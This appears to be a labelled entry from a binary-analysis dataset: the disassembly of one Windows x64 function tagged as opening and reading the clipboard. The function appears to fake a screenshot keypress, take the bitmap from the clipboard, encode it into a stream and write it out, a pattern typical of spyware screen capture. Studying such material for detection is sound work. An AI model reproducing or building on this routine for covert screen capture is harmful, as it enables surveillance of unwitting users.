Function at 0x14011e300
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x218
mov rax, qword [0x14024c080]
xor rax, rsp
mov qword [rsp + 0x200], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, reloc.WS2_32.dll_select
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, Ordinal_45
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
mov r8d, 2
xor edx, edx
mov cl, Ordinal_45
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
mov r8d, 2
xor edx, edx
mov cl, reloc.WS2_32.dll_select
call qword [sym.imp.USER32.dll_keybd_event]
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
mov ecx, 2
call qword [sym.imp.USER32.dll_GetClipboardData]
mov qword [rsp + 0x30], rax
call qword [sym.imp.USER32.dll_CloseClipboard]
mov edx, Ordinal_27
lea rcx, [rsp + 0x70]
call fcn.14000a280
lea rcx, [rsp + 0x70]
call fcn.1400142a0
nop
mov qword [rsp + 0x68], 0
lea r8, [rsp + 0x68]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
mov dword [rsp + 0x28], eax
mov edx, 0x50
lea rcx, [rsp + 0x90]
call fcn.14000a280
lea rcx, [rsp + 0x90]
call fcn.14011d6c0
nop
xor r8d, r8d
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x90]
call fcn.14011d810
lea r8, [0x14019d238]
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x90]
call fcn.14011d9e0
lea rdx, [rsp + 0x88]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.SHLWAPI.dll_IStream_Size]
mov eax, dword [rsp + 0x88]
mov dword [rsp + 0x20], eax
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.SHLWAPI.dll_IStream_Reset]
mov eax, dword [rsp + 0x20]
mov edx, eax
lea rcx, [rsp + 0x70]
call fcn.14011ea40
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x70]
call fcn.14011e9e0
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x40], rax
mov r8d, dword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.SHLWAPI.dll_IStream_Read]
mov rax, qword [rsp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x68]
call qword [rax + reloc.WS2_32.dll_recv]
mov edx, 0x118
lea rcx, [rsp + 0xe0]
call fcn.14000a280
mov edx, 1
lea rcx, [rsp + 0xe0]
call fcn.14011e900
nop
mov r9d, 0x40
mov r8d, Ordinal_35
mov rdx, qword [rsp + 0x220]
lea rcx, [rsp + 0xe0]
call fcn.14011e830
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x70]
call fcn.14011ea10
mov qword [rsp + 0x48], rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x70]
call fcn.14011e9e0
mov qword [rsp + 0x50], rax
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0xe0]
call fcn.14011e7d0
nop
mov dword [rsp + 0x24], Ordinal_45
lea rdx, [rsp + 0x24]
lea rcx, [rsp + 0x60]
call fcn.140006bf0
mov rcx, rax
call fcn.140006c10
nop
lea rcx, [rsp + 0xe0]
call fcn.14011e590
nop
lea rcx, [rsp + 0x90]
call fcn.14011d7d0
nop
lea rcx, [rsp + 0x70]
call fcn.14011ea70
nop
mov rcx, qword [rsp + 0x200]
xor rcx, rsp
call fcn.14017f430
add rsp, 0x218
ret